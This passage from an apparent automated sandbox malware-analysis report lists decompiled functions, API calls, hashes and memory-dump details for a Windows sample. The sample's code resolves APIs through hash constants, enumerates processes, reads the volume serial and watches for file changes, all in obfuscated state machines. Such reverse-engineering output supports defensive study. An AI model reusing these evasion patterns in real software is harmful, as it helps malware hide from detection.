0x00406d3b
0x00406d4e
0x00406d53
0x00406d53
0x00406d60

APIs

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00406F05,?,33A6B453,004068AC), ref: 00406D00

Strings

@', xrefs: 00406D02

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: @'
API String ID: 1029625771-3607613960
Opcode ID: 1798b078043703d1c20dcb2bf3286db3be507c7904f93c68db10864d402583e9
Instruction ID: 657f1d21d3f8ee40ee1a273e6a08185900b2cefed383dcdb89a67a057fd2b8b1
Opcode Fuzzy Hash: 1798b078043703d1c20dcb2bf3286db3be507c7904f93c68db10864d402583e9
Instruction Fuzzy Hash: AD014F30B142404BD754BFBA9950A2B3AEAAFC4604701843FE506EB3D1EA3CDD068B98

Uniqueness

Uniqueness Score: -1.00%

Function 01149F2F, Relevance: 3.1, APIs: 2, Instructions: 61
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E01149F2F(intOrPtr __ebx, void* __edx, void* __edi, void* __fp0) {
				void* __esi;
				void* __ebp;
				void* _t2;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t11;
				long _t18;
				void* _t22;
				long _t27;
				void* _t29;
				void* _t30;
				void* _t37;

				_t37 = __fp0;
				_t23 = __edi;
				_t22 = __edx;
				_t14 = __ebx;
				_t29 = _t30;
				_t27 =  *(_t29 + 8);
				if(_t27 > 0xffffffe0) {
					_push(_t27);
					E0114AE59(_t2);
					 *((intOrPtr*)(E0114C460(__eflags))) = 0xc;
					__eflags = 0;
				} else {
					_push(__ebx);
					_push(__edi);
					while(1) {
						_t6 =  *0x116ae04; // 0xe90000
						_t7 = _t6;
						if(_t7 == 0) {
							E0114D5E8();
							E0114D645(_t14, _t22, _t23, _t27, _t37, 0x1e);
							E0114AEC0(0xff);
							_t7 =  *0x116ae04; // 0xe90000
						}
						_t27 = _t27;
						if(_t27 == 0) {
							_t18 = 1;
							__eflags = 1;
						} else {
							_t18 = _t27;
						}
						_t8 = RtlAllocateHeap(_t7, 0, _t18); // executed
						_t23 = _t8;
						if(_t23 != 0) {
							break;
						}
						_t14 = 0xc;
						if( *0x116b438 == _t8) {
							 *((intOrPtr*)(E0114C460(__eflags))) = _t14;
							goto L12;
						} else {
							_push(_t27);
							_t11 = E0114AE59(_t8);
							_t36 = _t11;
							if(_t11 != 0) {
								continue;
							} else {
								L12:
								 *((intOrPtr*)(E0114C460(_t36))) = _t14;
							}
						}
						break;
					}
					_push(_t23);
					_pop(0);
				}
				return 0;
			}

APIs

__FF_MSGBANNER.LIBCMT ref: 01149F46

Part of subcall function 0114D645: GetModuleFileNameW.KERNEL32(?,0116AE42,00000104,?,00000001,011442F1), ref: 0114D6D7

Part of subcall function 0114AEC0: ExitProcess.KERNEL32 ref: 0114AECF

RtlAllocateHeap.NTDLL(00E90000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AllocateExitFileHeapModuleNameProcess
String ID:
API String ID: 1715456479-0
Opcode ID: 7e3997720a7a1bae98826816df26f9aa0726d28bb6876490d2b1aaa4a96f96d5
Instruction ID: 19f514844b780be39b4fce1d6d5f9f38301becab226277b059109879e6ef6e86
Opcode Fuzzy Hash: 7e3997720a7a1bae98826816df26f9aa0726d28bb6876490d2b1aaa4a96f96d5
Instruction Fuzzy Hash: F901F53224521AAFE72D2B74FC40A6F2B49DF65E6DF120036E116EB084DB754C4182E6

Uniqueness

Uniqueness Score: -1.00%

Function 00E61D10, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd6b145085e4f84e94896d6169ea82051cf244e58e190fd7dbf1664cfd94449
Instruction ID: f6727379c49eab48e5f5d5e63bed3da1f933395e97be854199327883c2d994af
Opcode Fuzzy Hash: 7bd6b145085e4f84e94896d6169ea82051cf244e58e190fd7dbf1664cfd94449
Instruction Fuzzy Hash: E041E774A40209EFDB05CF44D490BAAB7B2FB88354F28D199EC196B355C771EE82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 004045C0, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004045C0(void* __ebx, void* __edx, void* __ebp) {
				char _v16;
				void* __ecx;
				intOrPtr* _t2;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr* _t7;
				void* _t14;
				void* _t27;
				void* _t29;
				void* _t32;
				void* _t33;
				intOrPtr* _t37;

				_t36 = __ebp;
				_t13 = __ebx;
				_t2 =  *0x40dbf8;
				 *_t37 = 0x104;
				_t32 = _t14;
				_t27 = __edx;
				if(_t2 == 0) {
					_t2 = E00403DA0(__ebx, E00403E40(0xef98c369), 0x53e2758b, __ebp);
					 *0x40dbf8 = _t2;
				}
				_t33 =  *_t2(0x1000, 0, _t32);
				if(_t33 == 0) {
					return 0;
				} else {
					_t5 =  *0x40dbec;
					if(_t5 == 0) {
						_t5 = E00403DA0(_t13, E00403E40(0xef98c369), 0xc49ddb07, _t36);
						 *0x40dbec = _t5;
					}
					_t6 =  *_t5(_t33, 0, _t27,  &_v16); // executed
					_t29 = _t6;
					_t7 =  *0x40e1a4;
					if(_t7 == 0) {
						_t7 = E00403DA0(_t13, E00403E40(0xef98c369), 0x427e88ae, _t36);
						 *0x40e1a4 = _t7;
					}
					 *_t7(_t33);
					return _t29;
				}
			}

0x004045c0
0x004045c0
0x004045c1
0x004045c6
0x004045ce
0x004045d1
0x004045d5
0x004045e8
0x004045ed
0x004045ed
0x004045fc
0x00404600
0x00404665
0x00404602
0x00404602
0x00404609
0x0040461c
0x00404621
0x00404621
0x0040462f
0x00404631
0x00404633
0x0040463a
0x0040464d
0x00404652
0x00404652
0x00404658
0x0040465f
0x0040465f

APIs

QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,33A6B453), ref: 0040462F

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: d1a5ddd151c264e5ba5cc82fc31883235b9004e82025bbc1488bb4ad364a2612
Instruction ID: 2683e33dfaacad569634efa5fef6fcd5da790efa3d72724bf9368ea0ae1e600d
Opcode Fuzzy Hash: d1a5ddd151c264e5ba5cc82fc31883235b9004e82025bbc1488bb4ad364a2612
Instruction Fuzzy Hash: E20100B1B002001BD358ABBA9D01F6B6AE99FC4B16F05053FB205EB3C0EA7CDD014398

Uniqueness

Uniqueness Score: -1.00%

Function 00405410, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405410(void* __ebx, void* __ebp) {
				char _v520;
				short _v528;
				long _v532;
				intOrPtr* _t7;
				short* _t10;
				WCHAR** _t28;

				_t27 = __ebp;
				_t16 = __ebx;
				_t7 =  *0x40dffc;
				 *_t28 = 0;
				if(_t7 == 0) {
					_t7 = E00403DA0(__ebx, E00403E40(0xef98c369), 0x75ccc739, __ebp);
					 *0x40dffc = _t7;
				}
				_push(0x104);
				_push( &_v520);
				if( *_t7() != 0) {
					_t10 =  &_v528;
					if(_v528 != 0) {
						while( *_t10 != 0x5c) {
							_t10 = _t10 + 2;
							if( *_t10 != 0) {
								continue;
							} else {
							}
							goto L9;
						}
						 *((short*)(_t10 + 2)) = 0;
					}
					L9:
					if( *0x40e050 == 0) {
						 *0x40e050 = E00403DA0(_t16, E00403E40(0xef98c369), 0x9c446075, _t27);
					}
					GetVolumeInformationW( &_v528, 0, 0,  &_v532, 0, 0, 0, 0); // executed
				}
				return _v532;
			}

0x00405410
0x00405410
0x00405416
0x0040541b
0x00405424
0x00405437
0x0040543c
0x0040543c
0x00405441
0x0040544a
0x0040544f
0x00405457
0x0040545b
0x00405460
0x00405466
0x0040546d
0x00000000
0x00000000
0x0040546f
0x00000000
0x0040546d
0x00405473
0x00405473
0x00405477
0x0040547e
0x00405496
0x00405496
0x004054b1
0x004054b1
0x004054bc

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004054B1

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 56c804bc5ce2a0fa8ad921ac0b47df45a3a9273b8c2c006809b8e4bbfdbc2bfd
Instruction ID: cf676e04ca854d81f7adf4bd5e9591770a43f2d0b00c57864ea1b64f96d0557b
Opcode Fuzzy Hash: 56c804bc5ce2a0fa8ad921ac0b47df45a3a9273b8c2c006809b8e4bbfdbc2bfd
Instruction Fuzzy Hash: 3E1170306007009BE324EF61CC42FA773A4EF84701F54883EA555AB2D0EBBCD984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 011511F9, Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E011511F9(signed int _a4, signed int _a8, signed int _a12) {
				signed int _t11;
				void* _t12;
				signed int _t13;
				signed int _t15;
				signed int _t21;
				long _t22;

				_t21 = _a4;
				if(_t21 == 0) {
					L5:
					_t22 = _t21 * _a8;
					__eflags = _t22;
					if(_t22 == 0) {
						_t22 = _t22 + 1;
						__eflags = _t22;
					}
					do {
						__eflags = _t22 - 0xffffffe0;
						if(_t22 > 0xffffffe0) {
							L9:
							__eflags =  *0x116b438;
							if( *0x116b438 == 0) {
								_t11 = _a12;
								__eflags = _t11;
								if(_t11 != 0) {
									 *_t11 = 0xc;
								}
								L15:
								_push(0);
								_pop(_t12);
								return _t12;
							}
							goto L10;
						}
						_t10 = RtlAllocateHeap( *0x116ae04, 8, _t22); // executed
						_push(_t10);
						_pop(0);
						__eflags = 0;
						if(0 != 0) {
							goto L15;
						}
						goto L9;
						L10:
						_push(_t22);
						_t10 = E0114AE59(_t10);
						__eflags = _t10;
					} while (_t10 != 0);
					_t13 = _a12;
					__eflags = _t13;
					if(_t13 == 0) {
						L4:
						return 0;
					}
					L3:
					 *_t13 = 0xc;
					goto L4;
				}
				_t15 = 0xffffffe0;
				_t10 = _t15 / _t21;
				_t24 = _t15 / _t21 - _a8;
				if(_t15 / _t21 >= _a8) {
					goto L5;
				} else {
					_t13 = E0114C460(_t24);
					goto L3;
				}
			}

0x01151200
0x01151202
0x0115121f
0x0115121f
0x01151223
0x01151225
0x01151227
0x01151227
0x01151227
0x01151228
0x0115122a
0x0115122d
0x01151244
0x01151244
0x0115124b
0x01151261
0x01151264
0x01151266
0x01151268
0x01151268
0x0115126e
0x0115126e
0x0115126f
0x00000000
0x0115126f
0x00000000
0x0115124b
0x01151238
0x0115123e
0x0115123f
0x01151240
0x01151242
0x00000000
0x00000000
0x00000000
0x0115124d
0x0115124d
0x0115124e
0x01151254
0x01151254
0x01151258
0x0115125b
0x0115125d
0x0115121b
0x00000000
0x0115121b
0x01151215
0x01151215
0x00000000
0x01151215
0x01151208
0x01151209
0x0115120b
0x0115120e
0x00000000
0x01151210
0x01151210
0x00000000
0x01151210

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0114B1D2,?,?,00000000,00000000,00000000,?,0114C29F,00000001,000003BC,?,0114C465), ref: 01151238

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 15d9a6df57c91b2d0e5f9d88af6409dacdbeedc015c8ead308ccab233623098c
Instruction ID: c0e825d29599ecd050600f8d04aa96ecd40a2cbef6fbf7cee9f2d5c6a5de371e
Opcode Fuzzy Hash: 15d9a6df57c91b2d0e5f9d88af6409dacdbeedc015c8ead308ccab233623098c
Instruction Fuzzy Hash: 1F01D871244225FBEF6F9E6DE80475F3794AB01AE0F254625ED35E70D4D730D8408790

Uniqueness

Uniqueness Score: -1.00%

Function 00409878, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00409878(void* __eax, void* __ebx, void* __ebp, char _a4, char _a8, void* _a12, short _a16) {
				void* _t7;
				intOrPtr* _t8;
				intOrPtr* _t13;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t21;
				intOrPtr* _t26;
				intOrPtr* _t29;
				void* _t33;
				void* _t37;
				intOrPtr* _t44;
				void* _t66;
				void* _t69;
				void* _t72;
				void* _t76;

				_t72 = __ebp;
				_t37 = __ebx;
				_t7 = __eax;
				while(1) {
					L1:
					_t76 = _t7 - 0x212a148e;
					if(_t76 > 0) {
						break;
					}
					if(_t76 == 0) {
						_t7 = 0x3a61ec4d;
						continue;
					} else {
						if(_t7 == 0x21f3859) {
							_t19 =  *0x40e1e4; // 0xeb59c0
							_a8 =  *_t19;
							_t21 =  *0x40ddc0;
							_a12 = _t69;
							if(_t21 == 0) {
								_t21 = E00403DA0(_t37, E00403E40(0xef98c369), 0x6045f21e, _t72);
								 *0x40ddc0 = _t21;
							}
							_push(0xffffffff);
							_push(0);
							_push( &_a8);
							_push(2);
							if( *_t21() == 0) {
								L34:
								return 0;
							} else {
								_t7 =  ==  ? _t66 : 0x21f3859;
								continue;
							}
						} else {
							if(_t7 == 0xdfa437b) {
								if(E00409A90(_t72) != 0) {
									goto L9;
								} else {
									_t29 =  *0x40dd78; // 0x0
									if(_t29 == 0) {
										_t29 = E00403DA0(_t37, E00403E40(0xef98c369), 0xdedd4089, _t72);
										 *0x40dd78 = _t29;
									}
									 *_t29(_t69);
									goto L16;
								}
								continue;
							} else {
								if(_t7 != 0x100961ed) {
									L29:
									if(_t7 != 0x12e86f5f) {
										continue;
									} else {
										return 0;
									}
								} else {
									if( *0x40e11c == 0) {
										 *0x40e11c = E00403DA0(_t37, E00403E40(0xef98c369), 0x2dcee6cb, _t72);
									}
									_t33 = FindFirstChangeNotificationW( &_a16, 0, 1); // executed
									_t69 = _t33;
									if(E00409A90(_t72) == 0) {
										L16:
										_t7 = 0x21f3859;
									} else {
										L9:
										_t26 =  *0x40e060; // 0x0
										if(_t26 == 0) {
											_t26 = E00403DA0(_t37, E00403E40(0xef98c369), 0x5f51bb6, _t72);
											 *0x40e060 = _t26;
										}
										_t44 =  *0x40e1e4; // 0xeb59c0
										 *_t26( *_t44);
										_t7 = 0x2ee4b347;
									}
									continue;
								}
							}
						}
					}
					L35:
				}
				if(_t7 == 0x2ee4b347) {
					_t8 =  *0x40e0c0; // 0x0
					if(_t8 == 0) {
						_t8 = E00403DA0(_t37, E00403E40(0xef98c369), 0x4b6ce9b4, _t72);
						 *0x40e0c0 = _t8;
					}
					 *_t8(_t69);
					goto L34;
				} else {
					if(_t7 != 0x3a61ec4d) {
						goto L29;
					} else {
						_t13 =  *0x40dcac;
						if(_t13 == 0) {
							_t13 = E00403DA0(_t37, E00403E40(0xef98c369), 0x1f694480, _t72);
							 *0x40dcac = _t13;
						}
						 *_t13(0,  &_a16, 0x104);
						_t15 =  *0x40e190;
						if(_t15 == 0) {
							_t15 = E00403DA0(_t37, E00403E40(0x2198b54b), 0x2b6136bc, _t72);
							 *0x40e190 = _t15;
						}
						 *((short*)( *_t15( &_a4))) = 0;
						_t7 = 0x100961ed;
						goto L1;
					}
				}
				goto L35;
			}

0x00409878
0x00409878
0x00409878
0x00409880
0x00409880
0x00409880
0x00409885
0x00000000
0x00000000
0x0040988b
0x004099b4
0x00000000
0x00409891
0x00409896
0x0040995a
0x00409961
0x00409965
0x0040996a
0x00409970
0x00409983
0x00409988
0x00409988
0x0040998d
0x0040998f
0x00409995
0x00409996
0x0040999e
0x00409a7b
0x00409a85
0x004099a4
0x004099ac
0x00000000
0x004099ac
0x0040989c
0x004098a1
0x00409927
0x00000000
0x00409929
0x00409929
0x00409930
0x00409943
0x00409948
0x00409948
0x0040994e
0x00000000
0x0040994e
0x00000000
0x004098a3
0x004098a8
0x00409a3c
0x00409a41
0x00000000
0x00409a47
0x00409a51
0x00409a51
0x004098ae
0x004098b5
0x004098cd
0x004098cd
0x004098db
0x004098dd
0x004098e6
0x00409950
0x00409950
0x004098e8
0x004098e8
0x004098e8
0x004098ef
0x00409902
0x00409907
0x00409907
0x0040990c
0x00409914
0x00409916
0x00409916
0x00000000
0x004098e6
0x004098a8
0x004098a1
0x00409896
0x00000000
0x0040988b
0x004099c3
0x00409a54
0x00409a5b
0x00409a6e
0x00409a73
0x00409a73
0x00409a79
0x00000000
0x004099c9
0x004099ce
0x00000000
0x004099d0
0x004099d0
0x004099d7
0x004099ea
0x004099ef
0x004099ef
0x00409a00
0x00409a02
0x00409a09
0x00409a1c
0x00409a21
0x00409a21
0x00409a2f
0x00409a32
0x00000000
0x00409a32
0x004099ce
0x00000000

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 004098DB

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID:
API String ID: 1065410024-0
Opcode ID: 17ff4824847180fa44f3a04aa8a40876a03c82d9c3be3226c7dcfc1573243115
Instruction ID: 870b0593a6de7cf098e6b1dc4bd34e2296fba9872536d48dc167b40371f816fe
Opcode Fuzzy Hash: 17ff4824847180fa44f3a04aa8a40876a03c82d9c3be3226c7dcfc1573243115
Instruction Fuzzy Hash: 68018F706002008BCA68AB76898172B3699ABC4744F04083FB594FB3E2EB3CCD11878E

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA8, Relevance: 1.5, APIs: 1, Instructions: 28
processCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00404BA8(void* __eax, intOrPtr* __ebx, void* __ebp, void* _a16) {
				void* _t4;
				signed int _t6;
				void* _t15;
				signed int _t19;
				intOrPtr* _t25;
				void* _t41;
				void* _t44;
				void* _t47;
				void* _t51;

				_t47 = __ebp;
				_t25 = __ebx;
				_t4 = __eax;
				goto L1;
				do {
					while(1) {
						L1:
						_t51 = _t4 - 0x2acb684b;
						if(_t51 > 0) {
							break;
						}
						if(_t51 == 0) {
							_a16 = 0x22c;
							if( *0x40dd6c == 0) {
								 *0x40dd6c = E00403DA0(_t25, E00403E40(0xef98c369), 0x7a2af8bb, _t47);
							}
							L13:
							_t6 = Process32NextW(_t44,  &_a16); // executed
							asm("sbb eax, eax");
							_t4 = ( ~_t6 & 0x06e342c1) + 0x72632f1;
							continue;
						} else {
							if(_t4 == 0x72632f1) {
								if( *0x40e1a4 == 0) {
									 *0x40e1a4 = E00403DA0(_t25, E00403E40(0xef98c369), 0x427e88ae, _t47);
								}
								_t15 = FindCloseChangeNotification(_t44); // executed
								goto L24;
							} else {
								if(_t4 == 0xe0975b2) {
									_t19 =  *_t25( &_a16, _t41);
									asm("sbb eax, eax");
									_t4 = ( ~_t19 & 0x3045cda3) + 0x72632f1;
									continue;
								} else {
									if(_t4 != 0x160ff20d) {
										goto L18;
									} else {
										if( *0x40e12c == 0) {
											 *0x40e12c = E00403DA0(_t25, E00403E40(0xef98c369), 0xddae5d76, _t47);
										}
										_t15 = CreateToolhelp32Snapshot(2, 0); // executed
										_t44 = _t15;
										if(_t44 == 0xffffffff) {
											L24:
											return _t15;
										} else {
											_t4 = 0x2acb684b;
											continue;
										}
									}
								}
							}
						}
						L25:
					}
					if(_t4 == 0x3296735b) {
						_t4 = 0x160ff20d;
						goto L1;
					} else {
						if(_t4 != 0x376c0094) {
							goto L18;
						} else {
							if( *0x40df54 == 0) {
								 *0x40df54 = E00403DA0(_t25, E00403E40(0xef98c369), 0xd452c258, _t47);
							}
							goto L13;
						}
					}
					goto L25;
					L18:
				} while (_t4 != 0x294a5540);
				return _t4;
				goto L25;
			}

0x00404ba8
0x00404ba8
0x00404ba8
0x00404ba8
0x00404bb0
0x00404bb0
0x00404bb0
0x00404bb0
0x00404bb5
0x00000000
0x00000000
0x00404bbb
0x00404c33
0x00404c3d
0x00404c55
0x00404c55
0x00404c5a
0x00404c60
0x00404c64
0x00404c6b
0x00000000
0x00404bbd
0x00404bc2
0x00404ccf
0x00404ce7
0x00404ce7
0x00404ced
0x00000000
0x00404bc8
0x00404bcd
0x00404c1c
0x00404c20
0x00404c27
0x00000000
0x00404bcf
0x00404bd4
0x00000000
0x00404bda
0x00404be1
0x00404bf9
0x00404bf9
0x00404c02
0x00404c04
0x00404c09
0x00404cef
0x00404cf8
0x00404c0f
0x00404c0f
0x00000000
0x00404c0f
0x00404c09
0x00404bd4
0x00404bcd
0x00404bc2
0x00000000
0x00404bbb
0x00404c7a
0x00404cbe
0x00000000
0x00404c7c
0x00404c81
0x00000000
0x00404c83
0x00404c8a
0x00404ca2
0x00404ca2
0x00000000
0x00404c8a
0x00404c81
0x00000000
0x00404ca9
0x00404ca9
0x00404cbd
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00404C02
Process32NextW.KERNEL32(?,0000022C), ref: 00404C60

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: CreateNextProcess32SnapshotToolhelp32
String ID:
API String ID: 3146483811-0
Opcode ID: 25776b870adcaa474e81b5a638810f005dbc0766e930b5f2d1e540043bcb6610
Instruction ID: 4ce4d15361a0e4808d41a6b5bf5dd3be601ff834d0abeb4a6a58e9948620cf10
Opcode Fuzzy Hash: 25776b870adcaa474e81b5a638810f005dbc0766e930b5f2d1e540043bcb6610
Instruction Fuzzy Hash: 4CF0E5F061520047E5347A79988973A228057C5300F160D3BE755FB3F0E63DDD50879E

Uniqueness

Uniqueness Score: -1.00%

Function 00E627B0, Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00E627D9

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e0694b0c66a62c53f4491ba6b7dae4d6d0723ec5780d04160ce5ac9a1aa0b886
Instruction ID: 0fd765c16b68221357191f647cde818f58a7b33f1dab9daa90f0af827cd19674
Opcode Fuzzy Hash: e0694b0c66a62c53f4491ba6b7dae4d6d0723ec5780d04160ce5ac9a1aa0b886
Instruction Fuzzy Hash: 77D09EB4D44208FFDB80EFA5E946B5DBBB4EB04746F108169E904A7281E6B15B08CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00E61820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00E6182F

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d8900ac8d2953723a04e231e8f3fb942dd72c4f029518eeff58cd43f1ce15674
Instruction ID: a2c1b8df6aab6341780b660865cdd24d4ecb81284f6e56db7f00fe76b19eb773
Opcode Fuzzy Hash: d8900ac8d2953723a04e231e8f3fb942dd72c4f029518eeff58cd43f1ce15674
Instruction Fuzzy Hash: 4BC04C7A11420CAF8B44DF99EC84DAB37ADBB8C650B048508FA1D87200C770F9148BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01155632, Relevance: 10.7, APIs: 7, Instructions: 191
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E01155632(void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t40;
				signed int _t49;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				int _t54;
				signed short* _t65;
				signed int _t79;
				intOrPtr _t82;
				signed int _t84;
				signed int _t85;
				intOrPtr _t92;
				signed int* _t96;
				void* _t97;
				short* _t98;
				signed int _t100;
				void* _t109;
				signed int* _t110;
				void* _t111;
				signed int _t115;
				void* _t116;
				signed short _t119;
				signed short _t120;
				signed int _t121;
				void* _t122;
				void* _t124;

				_t109 = __edx;
				_t121 = _t122;
				_t40 =  *0x1169060; // 0xce125272
				 *(_t121 - 4) = _t40 ^ _t121;
				 *(_t121 - 0x18) =  *(_t121 + 0xc);
				_push(_t110);
				 *(_t121 - 0x14) =  *(_t121 + 0x10);
				_t7 = E0114C25F() + 0x9c; // 0x9c
				_t96 = _t7;
				E01149280(_t121 - 0x10, 0, 0xc);
				_t124 = _t122 - 0x18 + 0xc;
				 *((intOrPtr*)(E0114C25F() + 0x3b8)) = _t121 - 0x10;
				_t115 =  *(_t121 + 8);
				if(_t115 != 0) {
					_t13 = _t115 + 0x80; // 0x80
					_t49 = _t13;
					 *_t96 = _t115;
					_t14 =  &(_t96[1]); // 0xa0
					_t110 = _t14;
					_t100 = 0;
					 *_t110 = _t49;
					_t50 = _t49;
					__eflags = _t50;
					if(_t50 != 0) {
						__eflags =  *_t50;
						if( *_t50 != 0) {
							_t92 =  *0x1164a50; // 0x17
							E01154DDE(0x1164778, _t92 - 1, _t110);
							_t124 = _t124 + 0xc;
							_t100 = 0;
							__eflags = 0;
						}
					}
					 *(_t121 - 0x10) = _t100;
					_t52 =  *_t96;
					__eflags = _t52;
					if(_t52 == 0) {
						L17:
						_t53 =  *_t110;
						__eflags = _t53;
						if(_t53 == 0) {
							L21:
							 *(_t121 - 0x10) = 0x104;
							L22:
							_t54 = GetUserDefaultLCID();
							 *(_t121 - 0xc) = _t54;
							 *(_t121 - 8) = _t54;
							goto L23;
						}
						__eflags =  *_t53 - _t100;
						if(__eflags == 0) {
							goto L21;
						}
						E011550BC(__eflags, _t121 - 0x10);
						goto L20;
					} else {
						__eflags =  *_t52 - _t100;
						if( *_t52 == _t100) {
							goto L17;
						}
						_t79 =  *_t110;
						__eflags = _t79;
						if(__eflags == 0) {
							L10:
							_push(_t121 - 0x10);
							E01155179(__eflags);
							L11:
							__eflags =  *(_t121 - 0x10);
							if( *(_t121 - 0x10) != 0) {
								L24:
								_push(_t121 - 0x10);
								_t27 = _t115 + 0x100; // 0x100
								asm("sbb esi, esi");
								_push( ~_t115 & _t27);
								_push(E0115551B());
								_pop(_t119);
								_t120 = _t119;
								if(_t120 == 0 || _t120 == 0xfde8 || _t120 == 0xfde9 || IsValidCodePage(_t120 & 0x0000ffff) == 0 || IsValidLocale( *(_t121 - 0xc), 1) == 0) {
									L36:
									__eflags = 0;
									goto L37;
								} else {
									_t65 =  *(_t121 - 0x18);
									if(_t65 != 0) {
										 *_t65 = _t120;
									}
									_t30 =  &(_t96[0x94]); // 0x2ec
									E01150C48(_t96, _t110, _t120,  *(_t121 - 0xc), _t30, 0x55);
									_t98 =  *(_t121 - 0x14);
									if(_t98 == 0) {
										L35:
										L37:
										_pop(_t111);
										_pop(_t116);
										_pop(_t97);
